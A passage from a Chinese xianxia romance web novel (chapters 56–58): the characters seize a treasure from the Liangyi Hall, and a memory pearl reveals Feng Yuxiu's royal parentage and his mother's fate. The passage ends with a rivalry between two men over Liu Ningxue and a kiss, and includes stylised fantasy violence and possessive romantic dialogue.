只是他仿若倒映着星光的眼底一片清明,并未将这动作放在眼里。
一旁有弟子上前,道:“公子,他们都已经进入塔里了。”
封余休神色淡淡,语气似是不在意,随意一问道:“他们取的是什么?”
弟子顿了一下,说:“似是金蝉玉叶。”
金蝉玉叶虽是两仪堂至宝,但也不是最贵重的,越贵重的宝物放置的层数越高,危险也就越多。
封余休略一低眸,说:“她呢?”
弟子自然知道他问的是两仪堂堂主云外雪,当即回道:“在正堂。”
即在正堂,那塔中异动也瞒不过她,封余休垂眸踌躇了一阵,最终还是下定决心往正堂而去。
拿起金蝉玉叶的那一刻,周围景象迅速变动,石室逐渐模糊,一阵眩晕感从头顶传来,谢玄淮闭上了眼睛,定住心神,再一睁眼,便来到了一个陌生的地方。
眼前此处翠竹林立,白烟袅袅环绕,一眼望不到尽头。
谢玄淮将金蝉玉叶收起,望着前方片刻,淡漠的神色变得警惕几分。
他在竹林里静待了片刻,仔细观察着周边的动静,然而这里出奇的安静,一点声音也无,仿佛进入了什么消音世界。
幻境是使用最多的阵法,百千年来缕试不爽,但封家的幻阵他却有些看不出,只是把他困在一片竹林吗?
明显不是。
思虑间,前面白雾开始飘动起来,谢玄淮站在原地静观着白雾变化,耳畔响起一声声彻骨销魂,娇媚欲滴的“谢公子”。
“谢公子……”
“谢公子……”
谢玄淮闭上双眸,凝神静气,屏去声响异动,让自己不为幻境所惑。
再一睁眼时,自己便身处在一个中销魂窟中,这里花天酒地,男声女声交织混杂在一起,淫声阵阵,鼻息间全是混杂着酒气的胭脂水粉香的刺鼻味道。
就连耀眼的烛火也沾染了靡乱的气息。
即使面对着众人交.欢.淫—乱,谢玄淮冷淡如玉的神色依旧未变,他抬步望楼上走去,现下只有二楼处是干净些的
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了。
一楼地面简直无从下脚,时不时就有一对男女倒过来,谢玄淮闪身躲过,缓步走向二楼。
期间不乏有身染杂香,衣着凌乱的女子歪身向他扑去,可还没碰到他的一片衣角就被谢玄淮按头推开了。
他推人的力道不轻,女子一个踉跄差点崴脚从楼梯上掉了下去,见他面上不掩嫌弃,看都没看自己一眼,女子颇为气愤,指着他骂道:“装什么清高?!男人都是一个样!”
谢玄淮深知男人本性,也心知自己心性,只是不是对她而已,想着,他眼前又不禁浮现出当日柳凝雪亲他的情景,不知是不是这楼中的迷香所致,他喉口竟泛起了几分涩意,喉结不禁吞咽了一下。
他身上不可避免地泛起微热来,头脑也开始微微眩晕,他闭上眼让自己定下心来,不去看,屏弃心中杂念。
等他再一睁眼,周围的淫靡之气退散,出现在他眼前的是一间大红的婚房,正对的墙面上贴着大大的一个双喜,桌子摆满了瓜果,红烛上的火光在静静地晃悠。
他不解地看着婚房里的布置,竟感到一阵熟悉感,这不就是他和柳凝雪大婚时的婚房吗?
他眸光一侧,果见床上静静坐着一个穿着艳红喜服的女子,她身上的喜服金线勾勒,暗纹在烛光下若隐若现,她手上执着一面团扇遮住了原本的面容。
“柳凝雪?”他迟疑地唤了声。
然而床上的人却迟迟没有传来动静,他眸色微敛,抬脚向婚床走去。
他步伐放得极轻,不缓不急,似是怕吓到床上的人一般,谢玄淮站到了她面前,她整个人却像木偶般,一动不动。
或许是迷香的作用,他鬼使神差地伸手将挡住她面容的团容慢慢移开,随着团扇的移开,他呼吸也跟着屏住了,他愣愣地看着眼前人,平静下去的心再次悸动起来。
眼前人赧然是柳凝雪的样子,那一双眼眸明亮清净,犹如一汪春水,看人时常常含着笑意,他不由地停下动作,时间仿佛在这一刻静止。
这双眼睛像是刻进了他心里一般,自第一天看到起,他就再也不能忘记了。
被移开了团扇,女子面上浅浅一笑,然而就在下一刻,一把短剑突然从她袖中刺出,直取谢玄淮颈脉,她迅速极快,又狠又准,饶是如此,还是被谢玄淮精准掐住了手腕,用力之大让她挣脱不得。
剑尖在谢玄淮白玉般的脖颈上堪堪停下,他面含笑意,指尖轻扶上了她的脸,眼中蕴含的情绪似癫若狂,对她说:“你要杀了我吗?”
他的语气极致轻柔,仿佛要将人沉溺其中,也就是在这时,扑哧一声忽然响起,女子还未反应过来,自己的脖颈上就插了一把短刃,她瞪大了双目,死死地看着他,似是不敢置信眼前发生的一切,鲜血从她脖颈喷涌而出,打湿了她的嫁衣,沾满了谢玄淮皙白的指尖,他的脸上亦溅上了血珠。
此时的他与恶鬼无异,他一动不动地望着她,轻声说:“没有东西可以替代她,你也是。”
56. 愧疚
血珠不断滚落沾了他满手,女子带着不可置信的表情在他面前消散,匕首留在了他的手中,他缓缓抬起自己的手,置于眼前打量,眸中情绪复杂难辨。
亮如白昼的石室内,飘过一阵白雾后,柳凝雪还停在原地,不知为何阵法对她无用,迷雾过后,她看见谢玄淮拿着金蝉玉叶,双眸紧闭,明显陷入了幻境当中。
按理说,这种程度的阵法是轻易困不住谢玄淮的,但看他始终皱眉不解的样子,显然是被困了有些时间了。
柳凝雪第一时间想到的就是将金蝉玉叶归位,她忙来到谢玄淮身边,夺过他手中的金蝉玉叶放回原位。
归位的那一刻,石室内的白雾顷刻之间散失,谢玄淮也睁开了眼睛,他一瞬间从婚房转移到石室内,眼里露出了几分茫然。
他垂眸看了看柳凝雪,柳凝雪道:“你中幻术了。”
谢玄淮点了点头,“嗯。”
倒是他疏忽了。
金蝉玉叶归位,林月明和江若宁也从幻境中出来了,他们两人的修为不及谢玄淮,出来时还带着头晕后遗症。
林月明眼前视野一番天旋地转,脑袋晕极,她扶在墙上缓和着,江若宁见状,忙上前扶紧她,说:“怎么样?还好吗?”
他面色难得正经了几分,看着她的神色透着几分担忧。
林月明揉了揉发痛的眉心,闭起双眸缓和幻境带给她的冲击,方才在幻境中,她看到了舅舅,府上挂满了白幡,昭示着主人已逝世的事实。
她实在无法相信,伤心欲绝,差点被困在了阵法里。
林月明深呼了一口气,说:“我没事,走吧。”
她望着前方,暗自下定决心,金蝉玉叶无论如何她也要拿到。
石室灯明如初,这次谢玄淮并没有直接上手拿,而是施法破开了上面设置的法阵。
他将金蝉玉叶握在手中,对柳凝雪道:“走吧。”
刚一动身,就迎面打来一道符纸,谢玄淮反应迅速,忙一侧身躲过。
柳凝雪惊得看向来人,却是林月明和江若宁二人。
他们面色严肃,林月明看着他身上的金蝉玉叶,说:“谢世子,很抱歉,这金蝉玉叶我也想要。”
谢玄淮将金蝉玉叶放到柳凝雪手中,说:“那也得看你有没有那个本事。”
金蝉玉叶被他丢到自己手上,柳凝雪愣了愣,她面色带着忧愁望着几人,眉眼含着几分犹豫不决。
一定要打吗?
她想。
这时,江若宁对柳凝雪说:“世子妃,郡主的舅舅不久前被邪崇所伤,如今急需金蝉玉叶救命,否则后果不堪设想,还希望世子妃和世子能够网开一面。”
“日后好相见。”
他语气逐渐变得郑重,柳凝雪隐约嗅到了一抹威胁的气息。
这是在威胁她?
柳凝雪眉梢微微蹙起,林月明看了她一眼,似不欲多说,对谢玄淮道:“谢世子,动手吧。”
柳凝雪捧着手中的金蝉玉叶,夹在中间一时左右为难。
两方受伤无疑都不是她想看到的,况且她也想给林月明拿去疗伤,林月明父母双亡,身世已然够悲惨了,如今唯一还在意她的舅舅去世的话,她肯定会痛不欲生。
柳凝雪承认她是有点圣母心,她不想看着任何一方受伤。
眼见谢玄淮两指抽出了一张符纸,她上前抬手按住他的手,道:“一定要打吗?”
他冷硬的眉眼不为所动,柳凝雪抿了抿嘴,说:“我不想看到你受伤。”
不知是不是柳凝雪的错觉,她看见他的眸色柔和了几分,对她说:“金蝉玉叶在你手中。”
你来决定。
闻言,柳凝雪面上一笑,说:“谢谢你。“
随即,她朝林月明道:“金蝉玉叶给你,你先带回去救你的舅舅。”
……
林月明紧蹙的秀眉一松,正想道谢,身后却突然传来一道冰冷的声音,说:“真是好大的胆子,不请自来,还偷我两仪堂的宝物,你们想要带走它,问过我没有?”
众人闻声,抬眼看去,便见石室门外多了一批白衣人士,为首的女子身着湖蓝衣裙,一半的秀发盘起,仅簪了一根玉簪,她手中执着一把长剑,眉间压着一股沉沉的不悦之感。
她冷声道:“抓住他们。”
身后的弟子听令,齐齐拔剑指向四人,昔日熟练的剑阵在此处用上,弟子们互相配合,攻向他们。
谢玄淮的修为在四人中是最高的,他连伤数个,一旁看着的云外雪蹙了蹙眉,她拔出手中的剑加入了战斗中。
她剑势势如破竹,招式多变,令人难以捉摸,谢玄淮以剑应对,两人打得不相上下。
若说云外雪的招式要逸秀美,迅如雷捷,那谢玄淮的招式便是阴毒狠辣,招招致命,不留余手。
云外雪专心应对着他,但从他的剑势中,她也认出了几分,皱眉道:“你是谢行远的儿子?”
两人从纠缠打斗中分开,云外雪看他的神情更添了几分厌恶与怒意,道:“竟敢来两仪堂?简直是找死!”
云外雪也不和他以剑相斗了,直接动用阵法,她口中疾速念着口诀,“阴阳五行,相由心生……”
众弟子一见她要布阵,一齐退至旁边,执剑对着他们,不出片刻,他们的脚下便现出了一个湖蓝色的,刻满符文的阵法。
“碎魂阵。”云外雪道出阵法名,手中结印手势翻飞,说:“启。”
碎魂阵是两仪堂三大法阵之一,邪崇遇之则灭,活人遇之则死,几乎没有解阵的方法,遇此阵者生还概率极小。
与此同时,弟子们也纷纷将剑御起,对准了他们,只待阵动碎了他们魂魄,便数剑齐发毁其肉身,肉身魂魄俱灭,永无再生可能。
然而就在此时,云外雪背部突然迎来一掌,法术打在她背上,激得她口吐鲜血,封余休指上夹着一张符纸,两指一挥,青色的符纸燃烧殆尽,同色的符纹飘荡在空中,他再施法打出,青蓝的阵法随即镇在了原有的阵法上,死死地压制着碎魂阵,不让其运转。
云外雪被打得伤及内脏,噗得一下又吐出一口血,她看到原本运起的阵法被强行停下,目眦欲裂地看着来人,怒道:“封余休!!!你找死!”
封余休执剑立在四人面前,岿然不动,一双淡漠忧郁的眸子看着云外雪,道:“放他们走,我就答应你。”<
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云外雪啐出一口血沫,道:“如果我不呢?”
封余休剑尖一转,说:“你打不过我的。”
云外雪气得差点又是一口血吐出,她忍着身上的痛楚,道:“你别忘了他们的身份,你与他们交友,你对得起你的母亲吗?”
封余休道:“祸不及人子,这件事本就与他们无关。”
云外雪冷笑一声,说:“可我偏要他们死。”
柳凝雪看着剑拔弩张的两人,不明白云外雪对他们为什么如此怨恨,眼见云外雪又要强行催动法阵,下一刻,她就愣住了。
封余休反手将剑搭在了自己的脖颈上,皙白的脖颈上立刻出现了一道血痕,他冷冷道:“你当真要如此吗?”
云外雪果然停住了动作,只是她的恨意不减反增,死死地握紧了拳头,看着他们,说:“好啊,我放过他们。”
话落,云外雪便果真带着弟子们走了,封余休将手中剑放下,转身面向他们,视线扫了一圈后,停在了柳凝雪身上。
他面上浮上一抹浅笑,说:“又见面了。”
他笑得有些牵强,眉眼蕴着一股散不去的愁绪。
他一直都这么忧郁的吗?
柳凝雪心里想,短短几天不见,他就从一个阳光开朗的人变为了抑郁寡欢的忧郁男神。
柳凝雪望着他回以微微一笑。
封余休带着他们出了宝塔,柳凝雪捧着金蝉玉叶对他说:“这个……要还给你吗?”
封余休道:“送你了。”
两人相处融洽,谢玄淮站在柳凝雪身边,冷着一张脸不说话,实则内心都已经计划好封余休埋尸的地点了。
他周身冷气直飕,林月明和江若宁对视一眼,她嘴角抽了抽,直接一个闪身插进了封余生和柳凝雪之间,她问他说:“对了,叶大哥,这堂主为什么这么恨我们啊?你们之间到底发生了什么,可以说给我们听一下吗?”
又是她。
封余休眉头蹙起,视线越过林月明看向她身后的柳凝雪,说:“可以,没什么不可说的。”
封余休带着四人来到亭子里坐下,月上柳梢,色影朦胧,进入亭子,林月明抢先让柳凝雪和谢玄淮坐到一起,自己再在柳凝雪身边坐下。
动作迅速敏捷,让封余休无机可乘,封余休站在她身后,微微不悦地出声道:“林姑娘,你就是这么对待你的救命恩人的?”
林月明端过江若宁给她倒好的热茶,说:“一码归一码。”
封余休:“……”
他如今已是司马昭之心路人皆知了,柳凝雪夹在两人中间讪讪一笑,封余休只好到江若宁旁边,谢玄淮对面坐下了。
他将一颗记忆鲛珠放到石桌中间,施法让它运作起来,鲛珠里的画面清晰明了。
几人聚精会神地盯着鲛珠,封余休说:“我的母亲曾是两仪堂堂主的亲传弟子,是云外雪的师姐,如果不出意外,两仪堂堂主应该是她的,可惜命运弄人,让她遇到了我父亲。”
说父亲的时候,封余休满脸的抗拒,他微敛下眸,继续道:“本来男男女女恩恩爱爱也没什么大不了的,可我那位父亲不同,他是太子,也就是当今圣上……”
57. 离别
此话一出,四人皆惊讶不已。
林月明脸上一时神色难辩,他要是当今圣上的儿子的话,那岂不是她表兄了?且她的母亲还是圣上的亲妹妹!
“我不信!你凭什么说你是当今圣上的儿子?有什么证明?”林月明僵硬着脸问他。
封余休扫了她一眼,这一路上,除了知晓她姓名外,其余身份一概不知,且她常常百般阻挠自己与柳凝雪相处,印象更是不好。
他将自己的玉牌放到桌子上,说:“凭我是封家唯一的嫡子,且有鲛珠为症。”
鲛珠记忆能改,可这封家玉牌却是伪造不得,加之他与云外雪复杂的关系,答案已经明了。
早年封家子嗣单薄,到了封余休母亲这一代,便只有他母亲一个女儿,可惜他母亲遇人不淑。
作为封家唯一的女儿,封云笙,自然是在千万宠爱中长大的,但家人的宠溺并没有让她成长为一个骄横的女子,她性格温顺,有主张,且倔,一旦认定的事情便不会更改。
封云笙是在一次试炼中遇到张芝兰的,当时皇权旁落,朝政被妖妃赵氏把控,她任人唯亲,陷害皇子,导致后宫除她以外再无皇子。
张芝兰生母是一名女官,与先皇有过一夜情,在这之后她就发现自己怀孕了,这件事没能瞒过赵氏的耳目,她为了保护自己的孩子,将张芝兰送到远在江南的友人家寄养,自己则在两年后吞金而死。
然而张芝兰在友人家过得并不好,当初收养他的人早已逝世,族中人容不下他却又不敢违背祖训,所以对他百般刻苦,迫他离开,可张芝兰却是个硬骨头,他偏不离开。
有一日,他实在饿得不行了,听旁人说望月山有灵芝,能卖出不少钱,为了活命,他去了望月山。
可没想到望月山邪崇环绕,他不会术法,惹了邪崇后便拼命地逃,可由于饿了太久,他身体无力,竟直直倒了下去。
他以为自己就要命丧于此,就在这时,封云笙长剑横空扫来,斩退了邪崇,保下了他,在晕过去之前,他迷迷糊糊地看到女子一身湖蓝的衣裳,走到他身前蹲下来温声问他,“你怎么样了?”
张芝兰很想答无碍,可无耐身体用不上一点力气,径直晕了过去。
等他再醒来时,自己已然身处一个山洞之中,他缓缓睁开双眼,对面是被火光照映着的少女清秀的容颜,她眉眼柔和,似蕴着一汪化不尽春水,张芝兰承认,他对她一见钟情了。
可看她衣着不凡,自己却穿着洗得快破的白布,便知两人身份有着云泥之别。
察觉到他的目光,封云笙看过去,道:“你醒了?”
被她发现也不好再装,他点了点头,说:“嗯,多谢这位姑娘的救命之恩。”
封云笙道:“举手之劳,不足挂齿。”
她细细打量了他一眼,男子面容俊美,如玉似画,一身气质儒雅,只是脸上始终带着一股对生死无谓的气息,能将生死看得如此开阔的人,这还是她见过的第一个。
感受到她的视线,张芝兰毫不避讳地看了回去,封云笙被他看得心里一乱,忙移开了眼睛,可即便如此,她还是感觉到那人的视线在自己身上停留了一阵。
这时,洞外忽然想起自己小师妹的声音,喊:“师姐!我回来了!”
封云笙忙起身迎了出去,似是落荒而逃般,云外雪朝她走了过去,又道:“周围的邪崇都给我除了一干二净,看它们还敢不敢惹姑奶奶我!”
封云笙无耐地笑了笑,说:“你啊,总是这么冲动。”
云外雪望着她甜甜地笑了笑,待进了洞后,她才发现里面还有一人,且还是个男子,她不禁警惕了起来,问他:“你是谁?!”
张芝兰目光不避不让,视线直直地扫了过去,说:“我叫张芝兰。”
“你!”云外雪一时哑口无言,“谁问你名字了?!”
张芝兰转头不欲再理她,云外雪被他这幅态度给气炸了,正要发作,封云笙忙过来安抚她,说:“好了,别气了,你累了一天,先好好休息。”
云外雪这才安分下来,气鼓鼓地来到一边打坐调息。
除完山上邪崇后,封云笙就带着云外雪在江南住了下来,她要去拜访外祖母,这一住就一个月。
住江南就少不了会和张芝兰碰面,云外雪骄横的态度让张芝兰的印象极差,两人相见两厌,每每见到定少不了一番挖苦对方,封云笙则每次头疼地打圆场,吵完架后,封云笙还会单独邀请张芝兰吃饭陪罪。
张芝兰本就命苦,自己的师妹还常常故意针对,嘲讽他,作为师姐,她实在过意不去。
两人一来二去也成了知己好友,可就在最后,封云笙要离去,张芝兰要来送行的那一天,封云笙欲摆宴让两人讲和,可没想到云外雪不仅讨厌张芝兰,还泼了他一身酒离开了。
封云笙担心她遇到危险,趁着雨夜出去找她,张芝兰也帮着她找,两人一路跟随追踪符来望月山山脚下。
两人又一同上了山,但雨势极大,可没想到已经被灭掉的邪崇再次出现,两人遇险双双坠涯,张芝兰为护她身受重伤,昏迷不醒。
期间在封云笙的照料下他隐隐转醒,可张芝兰不知道自己能不能活着回去,思绪混乱之下,他对她表明心意,封云笙一时无措怔住了,等他的唇瓣吻上自己的时候,她才明白自己也喜欢上了他。
也就是在那一夜,她有了封余休,到第二天的时候,张芝兰病情迅速好转了,两人情意正浓,一起克服了困难,找到了云外雪。
云外雪消失了几天,回来看到的却是两人紧牵的手,她再也受不了,独自一人回了两仪堂,可惜自己的心意还未来得及表明就被掐死了心里。
张芝兰当然知道她的心意,常常与她明争暗斗,暗里斗个你死我活,明里在封云笙面前示弱,为此云外雪还骂他狐狸精。
毫无意外的是,他赢了。
两人的婚期定在三月之后,可在即将到婚期时张芝兰却悄无声息地消失了,封云笙相信他不是始乱终弃的人,无论众人如何劝她,她都一直等。
在婚期当日,封云笙还是穿上了婚服,仪式照常进行,可当天却没有宾客,没有迎亲队伍,只有两个扶着她出门的婢女,就连云外雪也躲着不见她。
她被婢女扶着在府门外等,从正午等到傍晚,她暗暗拽紧了手中帕子,他说过他会来娶她的。
就在婢女等得也不耐烦时,远方忽然响起了一阵马踏声,少年骑着白色的骏马飞驰般来到她们身前,婢女被吓得往后退了几步,晚风掀起封云笙的红盖头,她神色惊愕又欣喜地看着来人。
他坐在马上,一身红衣,长发高束,面如冠玉,缓缓地朝她伸出了手,说:“太子妃,我来了。”
他说话时微微地喘着气,似是急奔而来,封云笙眸中盈起一抹泪光,上前两步将手搭在他手心里,“嗯。”
她从封家嫁进了皇室,张芝兰待她如初,无论朝政如何繁忙,也会陪她,可渐渐地,他越发地忙了,好几次夜不归宿,她抚着微凸起的肚子,依旧每天在廊下等着他回来。
他常常道歉自己不能时刻陪着她,却也不愿透露自己在做什么,就在她肚子八个月大的时候,他夺权成功了。
他成了全天下最尊贵的人,她成了全天下最尊贵的女子。
登上皇位,他变得更忙了,忙到一月陪不了她几天,她也不再等他,看着他每次匆匆的来,又匆匆地离去,一心朝政,她觉得他变了,眉眼变得阴郁狠戾,他心中只想要权力,杀的人也不计其数。
又是一次匆匆离去,他们刚对坐下来,就有内侍来唤他议政,他揉了揉烦躁的眉心,缓和着语气对她说:“皇后……”
“你去吧。”封云笙依旧很温婉,怀孕之后更添了几分母性的光环。
张芝兰对她微微一笑,便起身离去,封云笙放下手中的碗,抚着突起的腹部,心下暗暗决定。
她分娩当日,张芝兰推了一切的政务来陪她,她分娩极其痛苦,他不顾身份跪在床边握紧了她的手,脸上焦急的样子依稀能见当初那个意气风发的少年人。
孩子出生当日,连下了几日大雪出奇地停了,张芝兰便为他取名雪霁。
她生了个男孩,自出生起便被封为太子,夜晚宁静时刻,她望着怀里的儿子,越发坚决要将他送走的念头。
她不愿他一生为权力所控,痛不欲生,她只愿他一生平安喜乐,康健无忧。
计划在两个月后实行,这天张芝兰要与谢行远等人去春祭,她病好后,来了一次议事殿,彼时正逢他们议完事从殿走出。
一位位官员皆是年轻的面孔,他们都是助张芝兰夺权之人,其中有一位便是谢行远,他见到廊下的封云笙,对她行了一礼,“见过皇后。”
封云笙对他喜欢不起来,他身上有一股与自己身上清纯之气相冲的气息,这些日子她并未怠于修行,修为渐升,对谢行远的抵触也更深了。
“平身吧。”封云笙道完,越过他,带着宫女往殿中走去。
春祭的马车起程,封云笙站在高墙上望着远去的马车,低声对身边人说:“动手。”
贴身宫女领命下去,她抱着满月的皇子左躲右避,但等她出了鸾凤殿时,却早有一众人在等着她。
封云笙得知消息赶来的时候,宫女已经死了,孩子正抱在去而复返的张芝兰怀里。
“你什么时候发现的?”封云笙问他。
张芝兰并不答,他道:“你要将我们的孩子送去哪里?”
他一下又一下轻拍着怀里的孩子,孩子乖巧正安静地唆着自己的小手。
计划败落,只能抢了,封云笙看着他怀里的孩子,眸色一定,旋即手中有风雪凝成一把长剑,她提剑朝他刺去。
张芝兰不避不让,眼睁睁地看着她手中剑刺来,在即将刺到他心脏的那一刻,身旁横来一剑将她的剑挑开。
他带来的人齐齐将剑对准了封云笙,封云笙神色镇定,丝毫不惧,她手中剑剑尖一转,对他说:“你打不过我的。”
张芝兰正想启唇说话,耳边却突然传一声清脆的喊声,“贱人!敢欺负我师姐!”
话落,云外雪提剑从墙面飞落而下,封云笙讶异地盯着她,说:“你怎么来了?”
“师姐……”她喊了声,便不再言语,她当然不可
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能告诉她,自己在她身边安插了人手,将她这些年的经历都一字不落地听进耳里。
有了云外雪相助,封云笙如虎添翼,她没忘记以前和师妹练的双人剑,且随着她们修为提高,威力大增,两人配合默契,无人能敌。
谢行远握紧了手中的剑,仔细分辨着她们的剑法,试图从中找出破绽,半晌之后,他勾唇冷笑,找到了。
他周身灵力一动,挥剑上前,张芝兰下意识地想要伸手去拦,他张了张唇,却还是忍下了。
谢行远一袭黑衣一动,张芝兰身边的白衣钦天监也跟着动,两人一黑一白,互相配合,逐步攻破她们的剑法。
谢行远指尖灵力一闪,趁机打出一道灵力刺入封云笙心脏,封云笙心脉受损,噗地吐出一口血,捂着心部单膝跪地,另一手用剑支着地面。
鲜红的血液洒在皑皑白雪上,鲜明刺目,“住手!”
谢行远还欲一道灵力打出,张芝兰极时出声制住了他。
他抱着孩子上前,来到封云笙面前,对谢行远说:“退下。”
谢行远望了他们一眼,随即与白衣钦天监一同退下。
张芝兰单膝跪了下去,伸手抹去沾到封云笙脸上的血,对她说:“住手吧,你会受伤的。”
封云笙抬眸看向他,眼里恨意愈浓,她有多爱他,此时就有多恨他,望着他日益阴郁沉默的面容,封云笙将全身灵力汇聚一处,再对着他心中一掌打出去,动作迅捷,毫不拖泥带水。
“噗!——”
张芝兰吐了一大口血,落到地面,与她的血融合,封云笙趁机夺过他的怀里的孩子,抛给云外雪接住,大声喊道:“师妹!!!带着他走!”
云外雪接住孩子,咬牙恨恨地扫了周围人一眼,不敢多作停留,朝宫墙上一跃而去。
谢行远见状,将剑收起追了上去,两道人影在殿檐上追逐不舍,谢行远取出一张符纸,滴血画符,朝着云外雪的背影打出迅猛一掌。
云外雪来不及避让,硬生生挨下这一掌,从宫墙上跌落。
差一点,就差一点了……
她望着面前的红墙,从未有一刻觉得这面宫墙如此之高。
它困住了封云笙,现在也要困住自己。
云外雪咬着牙,撑着最后一口气,起身翻墙逃了出去。
谢行远追过来时,只见宫墙外茫茫一片,白雪纷飞落了他满肩。
他淡漠的眸色微转,望着落到自己肩上的雪,又下雪了。
……
云外雪抱着他回到两仪堂后,重伤昏迷了一个月,醒来时却得知封云笙殡天的消息,那一刻,她感觉自己的天都塌了,她不相信,拖着病体到处奔走打听消息,可结果都是一样的。
她想再闯一次皇城,却被拦了下来,“公子尚小,无力主持局面,你若再去,两仪堂该怎么办?”
封堂主病重,急需她这个亲传弟子来管理两仪堂,在众多反对和劝阻下,她终是放弃了。
后来,她又找遍了天下能人异士想将师姐的尸体带出来,可她不知道跪了多少次,求了多少次,哭了多少次,跪尽了,求尽了,哭尽了,也没有一个人能帮她。
听到最多的一句就是,“爱莫能助。”
他们都让自己节哀顺变,照顾好自己和封家唯一的嫡子,可每每午夜梦回,看着亲手害死自己最爱的师姐的凶手,此刻却枕在自己的臂弯里酣睡,她就没办法不恨,这让她如何不恨。
她哭累了,也厌倦了,她常常将自己关在一间房修炼,一关就是一个月,两年后,她接过堂主之位,他也两岁了,会走路了。
她也曾试着对他好,可望着那张酷似师姐的脸,她就做不到,于是她对他非打即骂,将滔天的恨意释压在他身上,对他严苛,不断地折磨他,在他八岁时和他第一次对打,没收住手把他打成重伤,她却有一瞬失落,怎么没把他打死。
怨恨在漫长枯燥岁月里肆意疯长,后来她将他的身份及一切都告诉了他,并强制让他继承堂主之位,她要让他和自己一样终生活在愧疚和悔恨当中,永世不得善终。
……
鲛珠光芒在此停下,封余休将珠子收起,说:“这珠子是我母亲自出生起便带着的了,我出生后便放到了我身上。”
四人皆沉默着,不知该说何,在这时任何语言都显得苍白无力,封余休也不需要任何安慰,这么多年都过来了。
林月明抿了抿嘴,决定对他说:“可当时明德皇后并没有死,你甚至还有弟弟妹妹。”
这些都她母亲告诉她的,她母亲管不住嘴巴,暗戳戳和她骂,张芝兰是变态,将自己的妻子囚在一方,还生儿育女。
当然这件事只有她一个外人知道,也只告诉她一人,封余休被抱走后,张芝兰声称大皇子病逝,也不去追究了。
封余休面色僵了一下,苦笑说:“都过去了。”
林月明瞥了瞥嘴,亏她当时还羡慕张芝兰只娶了明德皇后一个呢,现在看来,真该死啊。
谈完话后,封余休将几人送出了两仪堂,他跟在柳凝雪身后,望着她纤瘦的背影,对她说:“我可以抱抱你吗?”
58. 遇袭
这一句话犹如惊雷般炸出,震得一行人都愣住了,柳凝雪更是僵着身体不敢回头,要知道谢玄淮现在就跟在他们最后。
他声音不大不小,最末尾的谢玄淮却刚好听到,他一下子顿住了,抬头去看前面的人。
柳凝雪始终都没有回头,她侧过脸对封余休说:“抱歉。”
她拒绝了。
毕竟正常人都不会当着丈夫的面和别的男子搂搂抱抱吧?
说完,柳凝雪就快步离去,脚步凌乱,似是落荒而逃。
林月明轻咳了一声以掩饰尴尬,随后也迅速离开了,她不好插手这事。
江若宁自然是跟着林月明的,三人走后便只剩下谢玄淮和封余休二人了。
谢玄淮冷着脸上前两步,边走边说道:“你能不能要点脸,封家嫡子也是够卑鄙龌龊的。”
封余休定定地看着柳凝雪远去的背影,听到他的话,也只微微侧了眸,笑说:“谢世子,你该庆幸你长得像你母亲。”
谢玄淮脸色阴沉了几分,说:“不要在我面前提及他们两个任何一个人。”
封余休转过身,面向着他,他神色亦冷了下来,道:“柳姑娘是被迫与你成亲的,你们之间一点感情也无,和离是迟早的事,那这样我喜欢柳姑娘也没错吧?”
谢玄淮抱剑看着他说:“你可真贱啊,且不说我与柳凝雪是否有感情,但只要她进了我敬王府的门,那她便一日都是我的妻,和离?她想都不要想。”
夜风之中,悬月之下,两人相对而立,锐利的眼眸看着对方,谁也不曾退让,他们都是偏执随心的人,真要斗起来,那就只有你死我活。
封余休笑道:“谢世子,我是不会放弃的。”
“她这一世不喜欢我没关系,那就下一世,下下世,生生世世,她总有一世是会属于我的。”
谢玄淮无声勾唇,冷笑道:“那就试试看,我也不介意生生世世都把你挫骨扬灰。”
“她的生生世世,身边也只会只有我一个人存在。”
封余休目光一寒,手下已经在一点点地汇聚灵力,只待一招即发,彻底杀死眼前的人,谢玄淮的剑也微微出鞘着,只等他一动手,剑就会以无人能挡的招式直取他项上人头。
两人气氛剑拔弩张,这时,不远处忽然响起一道清澈的声音,喊:“谢玄淮!”
两人的攻势即刻按压下去,收敛杀意,谢玄淮偏头去寻那道人影,说:“做什么?”
柳凝雪往前走了几步,浅意识察觉两人不对劲,她停住了脚步,说:“该回去了。”
听完,谢玄淮扫了封余休一眼,随即转身离去,“嗯。”
拿到了金蝉玉叶,四人也不欲再在此处过多停留,回到客栈后,快速整理了一下就准备回去。
柳凝雪带的东西不多,很快就来到了马车边等着林月明他们,此时正值深夜,街上已无行人,只余打更人的声音不断传入耳中。
柳凝雪在马车边等着,等来了谢玄淮,她问他,道:“林月明他们还要多久?”
谢玄淮没有过多注意他们,随口道:“应该快了。”
柳凝雪:“哦。”
话落,两人便再无言语,只是谢玄淮一直盯着她不动,柳凝雪很是不解地看回他,问:“怎么了?为什么一直看着我?”
“我身上有什么东西吗?”
她说着低头看了看,粉色的衣裙干干净净,是她刚换上的,她又摸了摸脸,确定没什么特别的地方后,又极为疑惑地望向他。
他的目光太过灼热,让柳凝雪感到了几分不自在,良久,谢玄淮的目光动了动,却是视线下移,落到了她的唇上。
当天在客栈时,少女亲自己的画面依稀可见,她的唇瓣樱粉而柔软,带给他一阵难以言喻的感受。
“你要是没事的话,那我先走了?”柳凝雪道,他的目光太过直白,她本能地想要逃避。
可就在她转身要离开时,一只节骨分明的手拽住了自己的手腕,往回一拉,她被拉得顺势扑进了他的怀里,还没等她反应过来,自己的唇瓣就贴上一个凉薄柔软的物什。
先亲,再说。
亲上的那一刻,柳凝雪的大脑瞬间空白了,她水润的眼睛睁大了慌乱地转个不停,明亮的瞳仁里清晰地倒映到少年沉静淡漠的脸。
他一手握着她的手臂,一手环住她的肩,墨玉般的眼眸如镜面的湖,不起波澜,看不见一丝情绪,他眼眸微垂对上她的视线,一时难以道明此刻心中的感受。
这是他第一次主动亲她,没有想象中的厌恶与不喜,只有心底那抽根发芽的爱意疯长,直至无法控制。
他这才发现,他好爱她。
爱到不能自己。
他轻轻地松开了她,吻在她唇角上,柳凝雪还处于震惊中无法反应过来,即使方才只是唇瓣贴着唇瓣,她也阻止不了自己的心思乱飞,她现在满脑子都他刚才亲她的样子。
他的动作很轻,吻痕一点一点落在她眉角眼梢处,最后重归于唇瓣上。
上唇和下唇的轻轻相碰,泛起一阵酥痒的感觉,她不禁抿了抿嘴唇,连带着他的唇瓣。
他喉结动了动,低眸深深地看了她一眼,目光随即落在她交叠平整的衣领,两人靠得极近,柳凝雪甚至想闻到他身上淡淡的体香。
她闻着这道熟悉的香气,缓缓闭上双眸,抬头往上亲在了他柔软的唇瓣上,感受着相贴时带来的欢悦异感。
